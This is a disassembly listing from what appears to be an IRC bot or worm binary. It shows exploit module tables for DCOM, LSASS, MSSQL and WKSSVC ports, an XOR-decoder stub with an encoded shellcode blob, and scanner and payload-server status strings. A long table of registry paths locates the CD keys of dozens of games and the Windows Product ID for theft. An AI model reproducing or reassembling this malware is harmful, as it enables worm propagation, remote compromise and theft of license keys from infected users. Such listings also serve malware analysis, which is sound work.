aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406B85+Fo
		align 10h
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_4076D2+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: sub_40381E+16Do
					; sub_403E35+2DDo ...
		align 4
		dd 5 dup(0)
dword_428BF8	dd 87h							; sub_40F6F1+31C4r ...
off_428BFC	dd offset sub_403E35	; DATA XREF: sub_4076D2+1E6r
dword_428C00	dd 0							; sub_40381E+1C2r ...
dword_428C04	dd 1		dword_428C08	dd 0		aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 403E35h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 403E35h, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 4039EEh, 0
		dd 2 dup(1), 7361736Ch,	34345F73h, 736C0035h, 5F737361h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404737h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	404737h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	404737h, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 40381Eh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 404911h, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404969h, 0
		dd 2 dup(1), 7361736Dh,	73h, 736D0000h,	737361h, 6 dup(0)
		dd 599h, 404C15h, 0
		dd 2 dup(1), 53534B57h,	454356h, 4B570000h, 43565353h
		dd 45h,	5 dup(0)
		dd 87h,	4052BCh, 0
		dd 2 dup(1), 53534B57h,	4F4356h, 4B570000h, 43565353h
		dd 4Fh,	5 dup(0)
		dd 87h,	405306h, 0	; CODE XREF: sub_428F1A:loc_428F2Fj
		dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_428F2A

; =============== S U B	R O U T	I N E =======================================



sub_428F1A	proc near		; CODE XREF: sub_428F1A:loc_428F2Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_428F22:				; CODE XREF: sub_428F1A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_428F22
		jmp	short loc_428F2F
; ---------------------------------------------------------------------------


loc_428F2A:				; CODE XREF: ___:00428F18j
		call	sub_428F1A


loc_428F2F:				; CODE XREF: sub_428F1A+Ej
		jo	short near ptr dword_428EC8+2
		cwde
		cdq
		cdq
		retn
sub_428F1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40707C+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_40707C+42o
		align 4
unk_4290B8	db    2			; DATA XREF: sub_40707C+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4290EC	db    2			; DATA XREF: sub_407146+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42911C	db    2			; DATA XREF: sub_407146+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42914C	db    2			; DATA XREF: sub_4071BD+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_429190	db    2			; DATA XREF: sub_4071BD+307o
					; sub_40F6F1+5734o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_4291DC	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4071BD+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42921C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4071BD+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42926C	db    2			; DATA XREF: sub_4071BD+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_4292AC	db    2			; DATA XREF: sub_4071BD+DBo
					; sub_40F6F1+55B7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407599+38o
					; sub_40AFAB+46o
unk_429308	db    2			; DATA XREF: sub_4076D2+EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_429340	db    2			; DATA XREF: sub_4076D2+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42938C	db    2			; DATA XREF: sub_4078E6+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_4293E0	db    2			; DATA XREF: sub_4078E6+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42942C	db    2			; DATA XREF: sub_4078E6+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_429474	db    2			; DATA XREF: sub_4078E6+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_4294BC	db    2			; DATA XREF: sub_407B45+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_429508	db    2			; DATA XREF: sub_407B45+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_429560	db    2			; DATA XREF: ___:00407E77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_4295B0	db    2			; DATA XREF: ___:00407DAEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_429604	db    2			; DATA XREF: sub_407F51+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 4
unk_429644	db    2			; DATA XREF: sub_407F51+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42968C	db    2			; DATA XREF: sub_407F51+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4296E0	db    2			; DATA XREF: sub_407F51+A8o
					; sub_40F6F1+5F61o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_429718	db    2			; DATA XREF: sub_407F51+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_429768	db    2			; DATA XREF: sub_407F51+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_4297B4	db    2			; DATA XREF: sub_407F51+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_40851A+11o
aWindow		db 'Window',0           ; DATA XREF: sub_408755+23o
					; sub_40894E+26o
		align 10h
		dd 80000001h
off_429814	dd offset aSoftwareValveC ; DATA XREF: sub_408B8D+Cr
					; sub_408B8D+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_429820	dd 2 dup(0)			dd 80000001h, 42A9A8h, 42A99Ch,	42A98Ch, 2 dup(0)
		dd 80000001h, 42A96Ch, 42A968h,	42A954h, 2 dup(0)
		dd 80000001h, 42A930h, 42A968h,	42A924h, 2 dup(0)
		dd 80000001h, 42A900h, 42A8F8h,	42A8E4h, 2 dup(0)
		dd 80000001h, 42A8D0h, 42A8C0h,	42A8A4h, 2 dup(0)
		dd 80000001h, 42A860h, 42A9E8h,	42A84Ch, 2 dup(0)
		dd 80000002h, 42A820h, 42A814h,	42A7F4h, 2 dup(0)
		dd 80000002h, 42A7C0h, 42A9E8h,	42A7A8h, 2 dup(0)
		dd 80000002h, 42A774h, 42A9E8h,	42A75Ch, 2 dup(0)
		dd 80000002h, 42A744h, 42A9E8h,	42A72Ch, 2 dup(0)
		dd 80000002h, 42A6F0h, 43C63Ch,	42A6E0h, 2 dup(0)
		dd 80000002h, 42A6A8h, 43C63Ch,	42A694h, 2 dup(0)
		dd 80000002h, 42A648h, 43C63Ch,	42A628h, 2 dup(0)
		dd 80000002h, 42A5D8h, 43C63Ch,	42A5ACh, 2 dup(0)
		dd 80000002h, 42A570h, 43C63Ch,	42A55Ch, 2 dup(0)
		dd 80000002h, 42A524h, 43C63Ch,	42A514h, 2 dup(0)
		dd 80000002h, 42A4C4h, 43C63Ch,	42A498h, 2 dup(0)
		dd 80000002h, 42A458h, 43C63Ch,	42A43Ch, 2 dup(0)
		dd 80000002h, 42A40Ch, 43C63Ch,	42A3ECh, 2 dup(0)
		dd 80000002h, 42A3B0h, 43C63Ch,	42A39Ch, 2 dup(0)
		dd 80000002h, 42A354h, 43C63Ch,	42A334h, 2 dup(0)
		dd 80000002h, 42A2E0h, 43C63Ch,	42A2B0h, 2 dup(0)
		dd 80000002h, 42A260h, 43C63Ch,	42A234h, 2 dup(0)
		dd 80000002h, 42A1F4h, 42A1ECh,	42A1CCh, 2 dup(0)
		dd 80000002h, 42A188h, 43C63Ch,	42A16Ch, 2 dup(0)
		dd 80000002h, 42A120h, 43C63Ch,	42A0FCh, 2 dup(0)
		dd 80000002h, 42A0C8h, 43C63Ch,	42A0BCh, 2 dup(0)
		dd 80000002h, 42A088h, 43C63Ch,	42A07Ch, 2 dup(0)
		dd 80000002h, 42A048h, 43C63Ch,	42A03Ch, 2 dup(0)
		dd 80000002h, 42A008h, 43C63Ch,	429FFCh, 2 dup(0)
		dd 80000002h, 429FC0h, 43C63Ch,	429FACh, 2 dup(0)
		dd 80000002h, 429F70h, 43C63Ch,	429F5Ch, 2 dup(0)
		dd 80000002h, 429F2Ch, 42A9E8h,	429F10h, 2 dup(0)
		dd 80000002h, 429EF0h, 429EE8h,	429EC4h, 2 dup(0)
		dd 80000002h, 429EA8h, 429EE8h,	429E88h, 2 dup(0)
		dd 80000002h, 429E68h, 429EE8h,	429E44h, 2 dup(0)
		dd 80000002h, 429E2Ch, 429EE8h,	429E28h, 2 dup(0)
		dd 80000002h, 429E0Ch, 429DFCh,	429DF4h, 2 dup(0)
		dd 80000002h, 429DC0h, 429DBCh,	429DA4h, 2 dup(0)
		dd 80000002h, 429D68h, 429D5Ch,	429D34h, 429D24h, 429D10h
		dd 80000002h, 429CECh, 429CE0h,	429CCCh, 429CBCh, 429CB4h
		dd 80000002h, 429CECh, 429CE0h,	429C88h, 429CBCh, 429C80h
		dd 80000002h, 429CECh, 429CE0h,	429C50h, 429CBCh, 429C48h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: ___:00430A64o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0042981Co
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00429818o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_429814o
		align 4
asc_42AA18:				; DATA XREF: sub_408B8D+E9o
					; sub_408B8D+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408B8D+8Fo
					; sub_40F6F1:loc_414142o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408B8D+7Eo
					; sub_408E5A+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408B8D+2Bo
		align 4
unk_42AA3C	db    2			; DATA XREF: sub_408D42+C5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
